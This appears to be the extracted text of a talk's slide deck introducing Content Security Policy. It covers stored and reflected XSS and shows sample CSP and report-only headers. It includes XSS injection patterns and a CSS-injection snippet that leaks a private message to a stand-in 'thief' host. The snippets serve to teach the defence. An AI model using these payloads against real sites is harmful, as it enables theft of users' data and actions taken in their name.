Introduction to Content Security Policy
Zbyszek Tenerowicz
@naugtur
http://naugtur.pl
R&D at
Regular speaker at
Not in the scope for today
✔ Session cookies:
domain, secure, httponly
✔ X-Iframe-Options
header
✔ Iframe sandboxing
✔ CSRF tokens
Bugs in application
✔ they can be fixedExtensions, 3rd parties and user scripts
✘ at least they're not common...Input is saved and application serves it to victims
foo" onmouseover="CODE"
or
{{ username }}
<script>CODE</script>
Input is not stored by the application
404 not found: {{ URL }}
http://mydomain.com/<script>CODE</script>
Perform actions as currently logged-in user
Steal data available to logged-in user
Infect user with malware
Wanna be a hacker? Start here: https://github.com/cure53/H5SC
');}
{}body{background-image:url('http://thief/
<p>{}body{background-image:url('http://thief/
</p><p>private message</p><p>');}</p>
Works with JavaScript disabled
Content-Security-Policy:
script-src 'self' https://apis.google.com
Tutorial on html5rocks.com
✔ Any XSS bug in the app is now useless
✔ Extensions can't add code to your app
✔ Cross-domain requests to domains you approve
✘ Protects only HTML documents
Guess which directive is supported in IE
Details: caniuse.com
Content-Security-Policy:
default-src *;
script-src
https://github.global.ssl.fastly.net
https://ssl.google-analytics.com
https://collector-cdn.github.com;
style-src 'self' 'unsafe-inline' 'unsafe-eval'
https://github.global.ssl.fastly.net;
object-src https://github.global.ssl.fastly.net
Check if your app breaks the policy without blocking it
Content-Security-Policy-Report-Only:
default-src "self"; report-uri /csp;
It's a work in progress, but I'm on it
@naugtur
http://naugtur.pl